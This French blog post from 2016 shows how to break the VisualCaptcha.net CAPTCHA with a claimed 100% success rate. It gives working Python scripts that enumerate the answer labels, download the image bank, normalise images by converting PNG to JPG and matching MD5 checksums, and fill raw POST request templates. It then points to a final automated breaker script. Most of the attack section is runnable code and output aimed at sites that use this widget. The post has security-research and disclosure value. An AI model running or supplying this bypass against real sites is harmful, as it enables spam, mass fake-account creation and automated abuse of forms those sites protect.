[Tool] Breaking 100% VisualCaptcha.net solution

26
mai
2016
  • Google Plus
  • LinkedIn
  • Viadeo
Posted by: Yann C.  /   Category: Programmation & Développement / Projets & outils   /   3 commentaires

VisualCaptcha est une solution très largement employée de par l’Internet pour protéger des robots et scripts automatisés. Cette solution peut cependant être mise à mal avec un taux de réussite de 100% comme le démontre ce présent article.

tl;dr : Breaking 100% VisualCaptcha.net avec les scripts disponibles sur GitHub [Démonstration en vidéo].

Introduction

Brève introduction aux CAPTCHAs

Le captcha (Completely Automated Public Turing test to tell Computers and Humans Apart) est un mécanisme très en vogue, rattaché à « la sécurité par l’obscurité » pour se protéger des robots et attaques par scripts automatisés. L’idée est de s’assurer que le traitement réalisé par un utilisateur est bien fait par un « humain » et non pas par un programme (test de Turing).

Concrètement, dans le monde du web, les captchas permettent de protéger la soumission de formulaires, notamment :

  • Les formulaires de contact, de soumission d’email, afin d’éviter qu’un script/robot automatise l’envoi de millier d’emails.
  • Les formulaires d’inscription sur des newsletters, forums et autres CMS, toujours avec pour objectif d’éviter la création massive de comptes via un robot malveillant.
  • Les formulaires de changement de mot de passe, de modification de profil ou de changement d’adresse email, ils agissent alors en tant que protection anti-CSRF si correctement implémentés.

Les captchas intègrent un contrôle supplémentaire auquel l’utilisateur (le client) doit répondre. La réponse est par la suite vérifiée côté serveur (en session) et valide ou invalide la soumission du formulaire.

De nombreuses formes de captchas existent, parmi les plus communément employées on note :

Les captchas dynamiques

Captcha dynamic

Captcha dynamic

Sous forme d’images générées dynamiquement (GD2), des lettres, chiffres et parfois symboles sont visibles sur ces captchas. Un « bruit » est ajouté à l’image, de manière aléatoire, afin d’empêcher l’automatisation du déchiffrement de ceux-ci via des bibliothèques d’analyse d’images type OCR.

Distorsion d’image, bruit, pixelisation, image de fond aléatoire, ces techniques s’appliquent également à des extraits sonores avec du bruit, une robotisation des voix, etc ; plus adapté pour les malvoyants.

Ces captchas sont les plus répandus mais aussi les moins appréciés par le public… Les bibliothèques d’analyse d’images (OCR) sont de plus en plus performantes pour casser ces captchas, ainsi, pour contrer ces outils, la complexité des captchas et notamment du bruit altérant l’image se sont intensifiés pour rester robuste, tout en rendant la tâche de décodage à l’utilisateur final drastiquement plus difficile…

Les captchas questions

Captcha questions

Captcha questions

Ces captchas, sous forme d’image, de texte ou de sons, posent une question, une énigme, une formule ou un problème à l’utilisateur, que seul un humain (théoriquement) est apte à répondre. On note les captchas de calculs mathématiques (audio / image) ou les mini-jeux sous forme d’énigme.

Les captchas visuels

Captcha visual

Captcha visual

Cette forme de captcha, plus récente, réconcilie bon nombre d’usager avec ce mécanisme de sécurité pour sa simplicité. L’idée est d’observer une série d’image, et de choisir la ou les images adaptée(s) au mot indiqué. Par exemple « cliquer sur les lunettes », ou « quelles images présentent des chevaux ». Ces captchas sont de plus appréciés pour leur facilité d’accès sur les nouveaux terminaux tactiles type smartphone ou encore tablette, où il suffit de « toucher » une image et non plus de réécrire une suite de caractères.

La solution éprouvée au sein de cet article, « VisualCaptcha.net », fait partie de cette catégorie.

Les captchas comportementaux

Captcha comportemental

Captcha comportemental

Cette catégorie est jeune. Peu de solutions existent (en particulier open-source). Mais elle n’en reste pas moins particulièrement robuste si correctement implémentée. La nouvelle version de « reCAPTCHA« , conçue par Google, illustre pleinement ce principe.

Le captcha est validé par un simple « clic » dans une case (checkbox). Suite à ce clic, une analyse du comportement de l’utilisateur s’en suit avant de valider ou non le captcha. Mouvement de la souris, entropie, caractéristiques du navigateur, résolution d’écran, referer, User-Agent, tout ces paramètres permettent d’identifier finement qu’un usager est un « humain » par rapport à un « robot ».

Les captchas assurent donc de la « la sécurité par l’obscurité » (pratique de sécurité très discutée), mais ils permettent également :

  • de renforcer les protections contre les attaques par CSRF ;
  • d’éviter l’automatisation de tâche par des robots ou script (principe même du captcha) ;
  • d’agir en tant que second-facteur d’authentification, où le facteur en jeu ici est l’aspect « humain » ou « robot ».

VisualCaptcha.net

VisualCaptcha est une solution open-source de référence pour la mise en place de captchas visuels simples au travers d’une multitude de technologies. Fournie par visualcaptcha.net, supporté par emotionLoop et Clevertech, cette solution est disponible (et supportée) en PHP, Angulars.JS, JQuery, NodeJS, VanillaJS, Ruby, Django, Python, côté backend et frontend, mais aussi portée (non-officiellement) sur ASP.NET, Java, Laravel, CakePHP, SailsJS, Grails, Meteor, etc. Certains CMS l’intègrent également sous forme de plugins, on peut notamment citer WordPress. (cf. VisualCaptcha GitHub)

En d’autres termes, cette solution de captcha s’interface aisément avec tous types de projets et séduit plus d’un développeur et utilisateurs pour sa facilité d’utilisation via les équipements tactiles.

VisualCaptcha features

VisualCaptcha features

VisualCaptcha a déjà été partiellement cassé par le passé (le 14 août 2013, en version < 4.2.0), mais les taux de succès n’étaient pas de 100%. Rebelote en 2014 et 2015. Mais aucune de ces techniques fournissaient un script générique, adaptable et configurable, compatible avec Burp ou un quelconque proxy. De plus, ces solutions se fondaient sur de l’analyse OCR ou utilisaient des bibliothèques d’analyse d’image, et donc s’avèrent être plus lentes que celle que je vous propose.

Pour lister « quelques sites » qui emploient VisualCaptcha, faites la recherche suivantes sous Google (avec les guillemets) :

"Type below the answer to what you hear"

Note : dans le présent article, seul le « breaking » du mécanisme par images est présenté. Peut être que la méthode via l’audio suivra 😉 !

Analyse de VisualCaptcha

Démonstration

La plupart des implémentations de VisualCaptcha, quelque soit la technologie (PHP, Java, etc.), reprennent le même principe de fonctionnement. Pour illustrer cet article, la page de démo officielle de la dernière version en date de VisualCaptcha va être « la cible » (demo.visualcaptcha.net).

VisualCaptcha demo page

VisualCaptcha demo page

Dès lors qu’une page d’un site Internet est atteinte et est équipée de la solution « VisualCaptcha », un code JavaScript dans la page charge le captcha. Ce chargement dans le DOM génère une requête asynchrone (AJAX) à destination d’une URL (endpoint) qui est par défaut « /start » :

VisualCaptcha AJAX call /start

VisualCaptcha AJAX call /start

Endpoint /start

Cet appel à « /start » comporte des paramètres :

  • /start : le point d’entrée d’initialisation du captcha (endpoint)
  • 5 : le nombre d’images aléatoires à afficher à l’utilisateur. Si cette valeur est définie à 1 (pour n’afficher qu’un seul choix), VisualCaptcha affiche par défaut et par sécurité 4 images minimum (2 dans de précédentes versions). Si cette valeur est fixée à « 10000 » par exemple, toutes les images possibles de la bibliothèque d’images seront affichées, 37 par défaut dans la banque d’images de base de VisualCaptcha.
  • ?r=XXXXXXXXXXXX : ce paramètre GET « r » joue le rôle d’une « clé de session unique » pour le captcha courant (12 caractères lower-alpha-numeric). C’est un aléa (nonce) stocké en session côté serveur, et qui permettra par la suite au navigateur de charger les bonnes images (PNG) en réutilisant cette même valeur.

Cet appel AJAX « /start/5?r=XXXXXXXXXXXX » retourne du JSON qui est interprété par le DOM pour générer le visuel courant du captcha. Exemple de JSON retourné :

{"values":["24239a51db01af9d6707","9617b92787a57a7918bf","4f324b253b4674485513","98c45edf9acada1ef257","bce9f9d372f216def7f8"],"imageName":"Envelope","imageFieldName":"795ee2a12bae97841d9a","audioFieldName":"6b49c3a5506179310192"}

On note :

  • values : liste de 5 valeurs aléatoires (en raison du « /start/5« ) correspondant dans l’ordre à un code unique propre aux 5 images qui vont apparaitre comme choix dans le navigateur de l’utilisateur.
  • imageName : le label textuel de l’image à choisir, exemple « l’arbre », « la feuille », « la voiture » ou encore « les lunettes ».
  • imageFieldName : nom du champ HTML texte caché (name attribute of the input type hidden) qui stockera la valeur de l’image sélectionnée par l’utilisateur. Ce nom de champ est aléatoire entre chaque affichage du captcha.
  • audioFieldName : nom du champ HTML texte caché (name attribute of the input type hidden) qui stockera la valeur déduite de l’extrait audio par l’utilisateur (si le mode « audio » est choisi plutôt que « image ». Ce nom de champ est aléatoire entre chaque affichage du captcha.

Jouons un peu avec « /start », demandons lui de n’afficher qu’une seule image (donc automatiquement la solution du captcha, non?) :

http://demo.visualcaptcha.net/start/1?e=XXXXXXXXXXXX

JSON :

{"values":["4fdb619a10e4cc307a9d","fb1138601a50a456c249","57147d3f3d180e022679","098028448f30e8cf649f"],"imageName":"Chair","imageFieldName":"13b35f036cd8b4fee7e6","audioFieldName":"7cb7dff15986787bc996"}

Ah. Bien qu’on est demandé qu’une seule image via le « 1 », on a tout de même une liste « values » de 4 valeurs. Cette protection est intrinsèque à VisualCaptcha. De plus anciennes versions permettaient de n’afficher que 2 valeurs minimum (donc une chance sur deux).

Tentons à présent 10000 valeurs :

http://demo.visualcaptcha.net/start/10000?e=XXXXXXXXXXXX

JSON :

{"values":["d52d1fb0c0d67daa5ca3","52972cd3f13da0719165","4013db4b92877ad315ba","c8e3409f7d8d5650839f","7a6c0fdd85ef69d18eec","64ed58f8031cc328ceca","3df0d18701d01a90e55c","8c49a2149e34ce3d6ee5","db8e89648eed5f30ef70","8aa95e4b96629a5eb67d","2cd4f3dfa2268675cabd","5a5bbe52c82b42631ff5","c409237882814913181f","5a254d941f2b5fa33ef1","5b7c6d5ae759252b393d","f82f0cc7fbfc7cddad05","2426c9217e5ae6710234","a09c805b79766f0abd3d","f0bb6c4157e3ca8bba87","42f321d92e485f26532f","e1ef6e1a80ed62802e76","8827cd7526d5de5365ab","943517aaf285873e0f91","e31bb70331185fcd9f8f","13356550e4145056b02b","ebe45f07737e0a9fa43a","9551f50f423a4527122f","b748fb1a5c9c48546993","2cb64d8ec2e7f7f75f16","d95821b4efa05b9e72a6","06f96ba47431866cf23b","4816963df3b2892be7e1","06076aca0faf1620e456","0cfd08a3805e4c3e4303","0014f442f65c3e5444cf","af510edd3b4249556ea8","a1c2e70a7b77217d20d0"],"imageName":"Envelope","imageFieldName":"5ca5dd0b97c485d0e675","audioFieldName":"ccbc0c1e534ed088927f"}

Nous n’avons pas 10000 valeurs mais seulement 37 (nombre maximum d’images par défaut dans la banque d’images de VisualCaptcha).

C’est là toute la faiblesse des captchas visuels : avoir une bibliothèque d’images (ou de sons) de taille fixe.

On remarque de plus que bien qu’ayant le même paramètre « ?r=XXXXXXXXXXXX » entre deux mêmes appels à « /start », les résultats retournés pour « values » ou même les autres champs sont constamment aléatoires et uniques.

Côté code source HTML/DOM…

Côté code-source HTML, la source retournée par l’appel à la page protégée par le CAPTCHA fait elle-même appel à des scripts JavaScript pour initialiser le captcha dans le DOM. En consultant le DOM on peut observer que la valeur JSON « imageName » (le label de l’image à cliquer) est bien répercutée et affichée :

VisualCaptcha source code 01

VisualCaptcha source code 01

De plus, la valeur de l’aléa « ?r=XXXXXXXXXXXX » utilisé lors de l’initialisation du captcha en AJAX sur « /start » est réutilisé pour récupérer chaque image à afficher « /image/0?r=XXXXXXXXXXXX » jusqu’à « /image/4?r=XXXXXXXXXXXX » (soit « 5 » images car « /start/5 »).

Le nom aléatoire du champ texte caché qui contient la valeur de l’image cliquée est également bien présent :

VisualCaptcha source code 02

VisualCaptcha source code 02

Lorsque l’on clique sur la première image affichée (/image/0), c’est bien la première valeur JSON de « values » qui est injectée dans le champ résultat caché.

VisualCaptcha source code 03

VisualCaptcha source code 03

Lorsque l’on clique sur la dernière image affichée (/image/4), c’est bien la dernière valeur JSON de « values » qui est injectée dans le champ résultat caché. Les valeurs « values » du JSON sont donc ordonnées de la même manière que l’indice et l’affichage de chaque image.

VisualCaptcha source code 04

VisualCaptcha source code 04

Soumission du formulaire et données POST

Si l’on soumet le formulaire, on a bien notre champ caché dont le nom est la valeur de « imageFieldName », avec comme valeur POST celle de l’image correspondante dans « values » :

POST /try HTTP/1.1
Host: demo.visualcaptcha.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,en;q=0.8,fr_fr;q=0.5,en_us;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://demo.visualcaptcha.net/
Cookie: PHPSESSID=mit7fi867tj8lf0iiq24o4htk3
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

795ee2a12bae97841d9a=24239a51db01af9d6707&submit-bt=

Bien évidemment, cette capture de données POST est propre au portail de démonstration de VisualCaptcha. Sur d’autres sites équipés de VisualCaptcha, la transmission de la validation du captcha peut être différente (en GET, en POST multipart/form-data, etc.).

Dans le cas de la page de démonstration VisualCaptcha, si le captcha soumis en POST à « /try » est valide ou invalide, alors une redirection 302 est faites vers :

  • Location: /?status=failedImage (captcha invalide vérifié côté serveur par la page « /try »)
  • Location: /?status=validImage (captcha valide vérifié côté serveur par la page « /try »)
VisualCaptcha demo results

VisualCaptcha demo results

Mini-synthèse de l’analyse

En résumé :

  • Lorsqu’une page protégée par VisualCaptcha est affichée dans un navigateur, un appel AJAX est fait sur « /start/NUMBER?r=XXXXXXXXXXXX » avec « NUMBER » au minimum 4 jusqu’à 37 par défaut et XXXXXXXXXXXX une chaîne lower-alpha-numeric unique et aléatoire stockée en session.
  • Qu’on définisse NUMBER à 1 on a au minimum 4 valeurs retournées (2 sur des anciennes versions de VisualCaptcha).
  • Si l’on définit NUMBER à 10000 ou plus, on a le nombre maximum de valeurs (donc le nombre maximum d’images uniques) retourné, à savoir 37 par défaut.
  • L’aléa « ?r=XXXXXXXXXXXX » utilisé lors de l’appel initial de « /start » est réutilisé pour chaque chargement d’image PNG « /image/0?r=XXXXXXXXXXXX », « /image/1?r=XXXXXXXXXXXX », etc.
  • Le champ HTML « input type hidden » de nom (name) « imageFieldName » prendra comme valeur (value) celle de l’image cliquée correspondante fournie dans la liste « values ».
  • Le champ JSON « imageName » est le label textuel indiquant sur quelle image on doit cliquer.
  • La liste JSON « values » est dans le même ordre que les images sont affichées.

Bon, et maintenant? Avec cette analyse on a tout le nécessaire pour automatiser la résolution via un script de n’importe quel captcha produit par VisualCaptcha !

Breaking VisualCaptcha

Captcha me if you can !

Pour briser n’importe quel captcha de VisualCaptcha, il est nécessaire de réaliser plusieurs étapes en amont. La plupart de ces étapes sont automatisables et se font rapidement, toutefois une tâche manuelle vous attend…

  1. Énumérer toutes les possibilités de réponses textuelles (automatique)
  2. Récupérer toute la base de données d’images (automatique)
  3. Convertir toutes les images de PNG vers JPG (automatique)
  4. Créer le tableau de correspondance checkSum / label (manuel…)
  5. Go breaking every VisualCaptcha !

Énumérer toutes les possibilités de réponses textuelles

Première étape, il nous faut énumérer toutes les réponses « textuelles » possibles que l’implémentation de VisualCaptcha permet.

Si la solution VisualCaptcha a été implémentée sur un site ou une application sans trop de personnalisations / customizations, alors les images tout comme les réponses textuelles sont très certainement celles par défaut, à savoir au nombre de 37 avec comme libellés (en français) :

l’ampoule, l’arbre, l’avion, l’enveloppe, l’étiquette, l’homme, l’horloge, l’imprimante, l’ordinateur, l’oeil, la camera, la chaise, la clé, la femme, la feuille, la loupe, la maison, la note de musique, la planète, la voiture, le ballon, le cadenas, le camion, le chat, le crayon, le dossier, le drapeau, le graphique, le nuage, le pantalon, le parapluie, le pied, le robot, le t-shirt, le trombone, les ciseaux, les lunettes de soleil

Comment peut-on récupérer et vérifier toutes les réponses qu’un VisualCaptcha intègre?

Simple, on interroge un grand nombre de fois l’endpoint « /start » (1000 requêtes par exemple) pour récupérer toutes les valeurs de « imageName ». On dresse un tableau de ces valeurs, qu’on tri et dédoublonne et on affiche les résultats.

Un petit script Python (disponible ici) :

import requests
import json
target = "http://demo.visualcaptcha.net"
nbRequest = 1000
imagesNames = []
for i in range(0, nbRequest):
 session = requests.Session()
 response = session.get(target+"/start/1")
 data = json.loads(response.text)
 imagesNames.append(data["imageName"])
sortedImagesNames = sorted(set(imagesNames))
print "[*] There are " + str(len(sortedImagesNames)) + " responses possible."
for name in sortedImagesNames:
 print name + ", ",

Exemple de résultat pour le portail de démo (en anglais) :

# python enum_VisualCaptcha_texts.py
[*] There are 37 responses possible.
Airplane, Balloons, Camera, Car, Cat, Chair, Clip, Clock, Cloud, Computer, Envelope, Eye, Flag, Folder, Foot, Graph, House, Key, Leaf, Light Bulb, Lock, Magnifying Glass, Man, Music Note, Pants, Pencil, Printer, Robot, Scissors, Sunglasses, T-Shirt, Tag, Tree, Truck, Umbrella, Woman, World

L’ensemble des réponses possibles sont à présent en notre possession (augmenter le nombre de requêtes vers « /start » pour être sûr d’avoir toutes les réponses possibles).

Récupérer toute la base de données d’images

L’autre étape après la récupération de toutes les réponses textuelles possibles consiste à télécharger l’intégralité de la base de données des images.

Si l’endpoint d’initialisation est appelé ainsi : « /start/5?r=XXXXXXXXXXXX », alors vous n’aurez que 5 images distinctes accessibles aux URLs :

  • /image/0?r=XXXXXXXXXXXX
  • /image/1?r=XXXXXXXXXXXX
  • /image/2?r=XXXXXXXXXXXX
  • /image/3?r=XXXXXXXXXXXX
  • /image/4?r=XXXXXXXXXXXX

L’image « /image/5?r=XXXXXXXXXXXX » n’existera pas (404) car le « /start » avec la « clé de session captcha XXXXXXXXXXXX » n’aura été initialisé qu’avec « 5 ».

Il faut donc faire une requête vers « /start » avec une demande d’image élevée, comme 10000. Ou plus précisemment avec le nombre exacte d’images possibles que l’on a déterminé auparavant (37) : « /start/37?r=XXXXXXXXXXXX ». Les 37 images sont donc récupérables (puis-qu’initialisées en session) via les URLs :

  • /image/0?r=XXXXXXXXXXXX
  • /image/1?r=XXXXXXXXXXXX
  • […]
  • /image/35?r=XXXXXXXXXXXX
  • /image/36?r=XXXXXXXXXXXX

Petit script Python pour toutes les télécharger dans un répertoire « ./imgPng » créé au préalable : (disponible ici)

import requests
import json
target = "http://demo.visualcaptcha.net"
pathImgDb = "./imgPng"
session = requests.Session()
response = session.get(target+"/start/10000?r=RaNdoMsTrInG")
data = json.loads(response.text)
nbImg = len(data["values"])
print "[*] There are " + str(nbImg) + " pictures in the VisualCaptcha database of [" + target + "]"
for i in range(0, nbImg):
 imgReq = session.get(target+"/image/" + str(i) + "?r=RaNdoMsTrInG")
 if imgReq.status_code == 200:
  # Save the current PNG picture
  f = open(pathImgDb + "/" + str(i) + ".png", 'wb')
  f.write(imgReq.content)
  f.close()
  print "[+] " + pathImgDb + "/" + str(i) + ".png download"

Jetons un oeil à notre répertoire :

VisualCaptcha pictures

VisualCaptcha pictures

Parfait ! Passons à la suite !

Convertir toutes les images de PNG vers JPG

Pourquoi ce chapitre? Nous avons toute la banque d’images en PNG, alors pourquoi s’embêter à toutes les convertir en JPG ?

La raison est très simple. Depuis le 30 avril 2014, une évolution « majeure » de VisualCaptcha a vu le jour. Celle-ci est discutée sur ce topic. Les développeurs de la solution ont ajouté un aléa supplémentaire de 1 à 50 octets dans les images à chaque fois qu’elles sont affichées (celle de l’imprimante par exemple). Autrement dit, toute la bibliothèque d’images précédemment téléchargée n’est pas comparable à une autre bibliothèque d’images téléchargée de nouveau dans un autre dossier.

« Comparable par rapport à quoi? »

L’idée est de calculer la somme de contrôle (checkSum, via md5sum) de chaque « même » image PNG (toujours l’exemple de l’imprimante), et en raison de l’ajout de cet aléa d’octet(s) influant sur la taille de chaque image, ces sommes de contrôle sont toutes différentes…

Exemple de l’image de l’imprimante (printer) récupérée 3 fois (printer1.png, printer2.png et printer3.png) après de multiples rafraîchissement de la page :

# md5sum printer*.png
e31dead53ece8c2df18cac7518f6b89a  printer1.png
086676587e026e3e7c8f86831657c0c8  printer2.png
fbee80e758f9c3f97f0937ae57376a25  printer3.png

Bien que visuellement ces 3 images représentent à l’identique la même imprimante, leur taille (des fichiers) varie légèrement à cause des bytes aléatoires ajoutés par VisualCaptcha… Ainsi la comparaison par « checkSum » n’est pas possible sur les PNG…

Cette nouvelle technique de protection de VisualCaptcha n’est apparue que suite à ce topic (code source ici). Les anciennes versions n’appliquaient pas ces modifications, et donc chaque « checkSum » retournait la même valeur.

 // Create a hex string from random bytes
 private function utilRandomHex( $count ) {
 return bin2hex( openssl_random_pseudo_bytes( $count ) );
 }

Pour contourner cette protection, l’idée est de convertir chaque PNG en JPG !

La conversion en JPG va retravailler le format de l’image, supprimer les données inutiles et reproduire un fichier JPG totalement valide. Certes les images vont perdre de leur transparence et de leur qualité mais ce n’est pas important pour casser les captchas 🙂

Script Python de conversion PNG2JPG de test :

import Image
im = Image.open("printer1.png")
im.save("printer1.jpg", "JPEG")
im = Image.open("printer2.png")
im.save("printer2.jpg", "JPEG")
im = Image.open("printer3.png")
im.save("printer3.jpg", "JPEG")

Résultats des checkSums :

4b6b62f3be8168abba5ad105eb086fb9  printer1.jpg
4b6b62f3be8168abba5ad105eb086fb9  printer2.jpg
4b6b62f3be8168abba5ad105eb086fb9  printer3.jpg

C’est prometteur ! Les checkSums en JPG sont identiques de nos 3 images pourtant différentes en PNG !

Convertissons toutes les images du dossier « ./imgPng » vers « ./imgJpg » : (script disponible ici)

import Image
from os import listdir
from os.path import isfile, join
imgPngDir = "./imgPng"
imgJpgDir = "./imgJpg"
imgPngFiles = [f for f in listdir(imgPngDir) if isfile(join(imgPngDir, f))]
for img in imgPngFiles:
 if img.endswith(".png"):
  im = Image.open(imgPngDir+"/"+img)
  im.save(imgJpgDir + "/" + img + ".jpg", "JPEG")
  print "[+] Original VisualCaptcha PNG [" + imgPngDir + "/" + img + "] converted in JPG here [" + imgJpgDir + "/" + img + ".jpg]"

Vérifions nos JPG :

VisualCaptcha pictures JPG

VisualCaptcha pictures JPG

Elles ont un peu perdu en qualité et transparence, mais elles restent uniques, distinctives et visibles (avec des checkSums comparables). C’est suffisant pour la suite de nos opérations !

Création du tableau de correspondance checkSums / labels

On a le nombre total d’images, toutes les images en JPG, et on dispose de tous les labels textuels que le VisualCaptcha propose. Créons à présent le tableau de correspondance (tâche manuelle, hélas…) entre chaque checkSum et le label textuel :

# md5sum ./imgJpg/*.jpg
c17b70628392f6d696cc1b25f5fb386f ./imgJpg/0.png.jpg
c4fe178b16c681fef26860d36410aff4 ./imgJpg/10.png.jpg
0b80d90a8eae32c984481cfce01872f4 ./imgJpg/11.png.jpg
fcf9b5602694bfd0e3a97036a700affc ./imgJpg/12.png.jpg
446bf84f96960d03b4ed97ee4f60fc92 ./imgJpg/13.png.jpg
76aea7d6235509a1ce3a04d168434eb8 ./imgJpg/14.png.jpg
2a6a41f2f3b204c917fd03ee5a74cc2c ./imgJpg/15.png.jpg
8edd4f6aba641a23545e242c4d00baf1 ./imgJpg/16.png.jpg
9c4a256697476081b8eb34a05501ef2e ./imgJpg/17.png.jpg
aa7e561ebc0fba06d30f5ecdb55c0841 ./imgJpg/18.png.jpg
943f4c78b35672d6fe2d8d7c7b16c2b2 ./imgJpg/19.png.jpg
63c155f036c3a013362c527a055e258b ./imgJpg/1.png.jpg
89b833eb55b97c717d9b0d9d12788233 ./imgJpg/20.png.jpg
86666417338139368ca43a8963ebced2 ./imgJpg/21.png.jpg
72a676cfde643c841232c76f60989090 ./imgJpg/22.png.jpg
351eb8558342cdab5bd37c9aa5ed7ee0 ./imgJpg/23.png.jpg
456780afb08cdaf562af8d89497bc875 ./imgJpg/24.png.jpg
872af7339e75f6cae2313eb28aac9c44 ./imgJpg/25.png.jpg
b7ca3af8c38fa6e4f9a0cb5ed89bc493 ./imgJpg/26.png.jpg
44561c957ab6ea338bafa9d7a52d9992 ./imgJpg/27.png.jpg
4b6b62f3be8168abba5ad105eb086fb9 ./imgJpg/28.png.jpg
433cdaaf1e0ca0d8367727f7e7497c12 ./imgJpg/29.png.jpg
6b99e64fe2b18c6ec388b8080bcd9947 ./imgJpg/2.png.jpg
f5f79595f81967f383fa289e3e682c23 ./imgJpg/30.png.jpg
1d42c40b62bf899b25f1cddade543658 ./imgJpg/31.png.jpg
ecad2ea49116b86c4eea21f0cd076e62 ./imgJpg/32.png.jpg
eaa28a149864637c6d3bb7c58cdae136 ./imgJpg/33.png.jpg
287c4df92b339bdedf65cea6fc7977f9 ./imgJpg/34.png.jpg
35b1b173e847b202eedac99db3002da9 ./imgJpg/35.png.jpg
65b32b9748014155896de24c2ba4a408 ./imgJpg/36.png.jpg
93d5e02b511f42936c5d4873f6b064ea ./imgJpg/3.png.jpg
39092d7718747b6f0b01cb7282d136bc ./imgJpg/4.png.jpg
2739865da34888314752ee72ea97bf76 ./imgJpg/5.png.jpg
139da71c5ac0954f668ff1947e73245f ./imgJpg/6.png.jpg
6612e4fabfb7219ed0662d3901a50b4a ./imgJpg/7.png.jpg
0985b57fb6a40d3142534f5e2c59d7f4 ./imgJpg/8.png.jpg
17a86e0825bc56546efa762160af0d19 ./imgJpg/9.png.jpg

Script disponible également ici.

A partir de tout ces checkSums JPG/PNG, il est nécessaire de produire le dictionnaire (Python) qui suit. Pour cela, vous devrez consulter chacune des images manuellement et l’associer au label textuel correspondant :

# For newer version of VisualCaptcha 5.x, picture database with 0-50 random bytes added need to be converted from PNG to JPG for right checksum value, so there are JPG and PNG checksum in the next dict.
# Dictionary of key:value with :
# labelEN = textual solution of the captcha in english (you may change these label for your language)
# labelFR = textual solution of the captcha in french (you may change these label for your language)
# md5SumPng = checkSum of the original picture in PNG
# md5SumJpg = checkSum of the picture converted from PNG to JPG (to remove random bytes added by VisualCaptcha)
dicoImg = {}
dicoImg[0] = {"labelEN":u"Airplane", "labelFR":u"l'avion", "md5SumPng":"6244aa85ad7e02e7a46544d5deab0225", "md5SumJpg":"c4fe178b16c681fef26860d36410aff4"}
dicoImg[1] = {"labelEN":u"Balloons", "labelFR":u"le ballon", "md5SumPng":"4c3fbd0824a5f2f3c58069c0416755e7", "md5SumJpg":"c17b70628392f6d696cc1b25f5fb386f"}
dicoImg[2] = {"labelEN":u"Camera", "labelFR":u"la camera", "md5SumPng":"00ab6b7f0972d5b5d2bef888ab198929", "md5SumJpg":"fcf9b5602694bfd0e3a97036a700affc"}
dicoImg[3] = {"labelEN":u"Car", "labelFR":u"la voiture", "md5SumPng":"281398645bee48e8c78cf8f650dc830e", "md5SumJpg":"2a6a41f2f3b204c917fd03ee5a74cc2c"}
dicoImg[4] = {"labelEN":u"Cat", "labelFR":u"le chat", "md5SumPng":"e3f67527bdff4b14a8297bb61e6b3c6a", "md5SumJpg":"89b833eb55b97c717d9b0d9d12788233"}
dicoImg[5] = {"labelEN":u"Chair", "labelFR":u"la chaise", "md5SumPng":"6a385164d1f36e6c2e137c1fc11569bc", "md5SumJpg":"456780afb08cdaf562af8d89497bc875"}
dicoImg[6] = {"labelEN":u"Clip", "labelFR":u"le trombone", "md5SumPng":"99be7138303ce797139a56c78e1b0143", "md5SumJpg":"aa7e561ebc0fba06d30f5ecdb55c0841"}
dicoImg[7] = {"labelEN":u"Clock", "labelFR":u"l'horloge", "md5SumPng":"4039b8c0aa05f2c35402da5842e2a37c", "md5SumJpg":"6612e4fabfb7219ed0662d3901a50b4a"}
dicoImg[8] = {"labelEN":u"Cloud", "labelFR":u"le nuage", "md5SumPng":"f25649f668fcc7ac37272ed5b6297087", "md5SumJpg":"76aea7d6235509a1ce3a04d168434eb8"}
dicoImg[9] = {"labelEN":u"Computer", "labelFR":u"l'ordinateur", "md5SumPng":"a4672d1d019615d061e40ee2c93ee625", "md5SumJpg":"943f4c78b35672d6fe2d8d7c7b16c2b2"}
[...]

Notre dictionnaire exhaustif est prêt (voir ce script) ! Plus qu’à se mettre au cassage / breaking / cracking / brissage de VisualCaptcha.

Casser les captchas !

Comment va se dérouler le processus? Vous avez un formulaire (envoi de mail, inscription, réinitialisation de mot de passe, etc.) protégé par un VisualCaptcha. Vous avez récupéré tous les labels, toutes les images, converties en JPG, et créé la table de correspondance.

Maintenant, il vous faut produire la requête POST de soumission du formulaire (dans l’exemple, celui de « demo.visualcaptcha.net ») avec la bon nom de variable POST et la bonne valeur de variable POST.

Et bien le dernier script présenté ici va automatiser cela. L’idée va être de :

  1. Faire une requête sur « /start » avec un petit nombre (pour avoir le moins de choix d’images possibles) et conserver tous les paramètres JSON, notamment de « imageName », « values » et le « imageFieldName ».
  2. Télécharger (toujours automatiquement via le script) les images en PNG (4 ou 2 en fonction de votre version de VisualCaptcha) associées à la « session captcha courante ».
  3. Convertir chacune de ces images téléchargées en JPG (en mémoire, pas de fichiers créés localement)
  4. Calculer le checkSum MD5 de chacune de ces images PNG et celles converties en JPG
  5. Rechercher dans le dictionnaire exhaustif chaque valeur des clés-md5Sum des 4 images
  6. Comparer ces valeurs issues du dictionnaire avec « imageName »
  7. Si une valeur correspond, alors soumettre en POST le formulaire avec pour validation du captcha imageFieldName=values[N] où N est l’image correspondante !

On met tout ça dans un script, et on le test directement sur le portail de démo « demo.visualcaptcha.net« . Pour rappel, en fonction du captcha soumis, la page « /try » nous faire une redirection « 302 » vers :

  • Location: /?status=failedImage (captcha invalide vérifié côté serveur par la page « /try »)
  • Location: /?status=validImage(captcha valide vérifié côté serveur par la page « /try »)

Pour rendre ce script VisualCaptchaBreaker le plus générique possible, l’idée a été de passer une requête HTTP au format brut en entrée du script, en modifiant le champ que le script doit remplacer automatiquement avec les valeurs du captcha cassé.

Ainsi, (via Burp par exemple), enregistrer la requête final dans un fichier texte et remplacer le nom / valeur du captcha par les variables « %VISUALCAPTCHANAME% » et « %VISUALCAPTCHAVALUE% » :

POST /try HTTP/1.1
Host: demo.visualcaptcha.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://demo.visualcaptcha.net/
Cookie: PHPSESSID=MySeSsIoNIdCuStOm
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

%VISUALCAPTCHANAME%=%VISUALCAPTCHAVALUE%&submit-bt=

Cet exemple exploite des données POST standard, autre exemple en POST multipart/form-data.

S’équiper de la dernière version de VisualCaptchaBreaker, et lancer le script :

[ Download Script Python final VisualCaptchaBreaker-latest.py ]

